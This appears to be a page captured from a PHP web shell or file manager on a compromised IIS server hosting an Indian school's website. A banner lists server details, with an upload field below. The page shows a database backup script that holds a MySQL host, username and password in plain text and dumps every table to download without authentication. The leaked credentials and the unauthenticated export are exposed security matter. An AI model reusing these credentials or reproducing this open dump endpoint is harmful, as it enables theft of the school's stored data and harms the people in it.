| Server IP : 199.79.63.27 / Your IP : 216.73.216.250 Web Server : Microsoft-IIS/10.0 System : Windows NT MD-PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64 User : IWPD_6698(lcitec7i) ( 0) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/INETPUB/VHOSTS/lcit.edu.in/lcitps.edu.in/ |
Upload File : |
<?php
// Database credentials
$host = '208.91.199.11';
$port = '3306';
$user = 'lcitschool24';
$password = '#Lcit#@2025';
$database = 'lcitschool';
// Connect to MySQL
$conn = new mysqli($host, $user, $password, $database, $port);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// Set filename
$filename = $database . '_backup_' . date('Y-m-d_H-i-s') . '.sql';
// Set headers
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Pragma: no-cache');
header('Expires: 0');
// Start output
$output = "";
// Get all tables
$tables = [];
$result = $conn->query("SHOW TABLES");
while ($row = $result->fetch_array()) {
$tables[] = $row[0];
}
// Export each table
foreach ($tables as $table) {
// Table structure
$res = $conn->query("SHOW CREATE TABLE `$table`");
$row = $res->fetch_assoc();
$output .= "\n\n" . $row['Create Table'] . ";\n";
// Table data
$res = $conn->query("SELECT * FROM `$table`");
while ($row = $res->fetch_assoc()) {
$vals = array_map([$conn, 'real_escape_string'], array_values($row));
$output .= "INSERT INTO `$table` VALUES ('" . implode("','", $vals) . "');\n";
}
}
// Output the SQL
echo $output;
$conn->close();
exit;
?>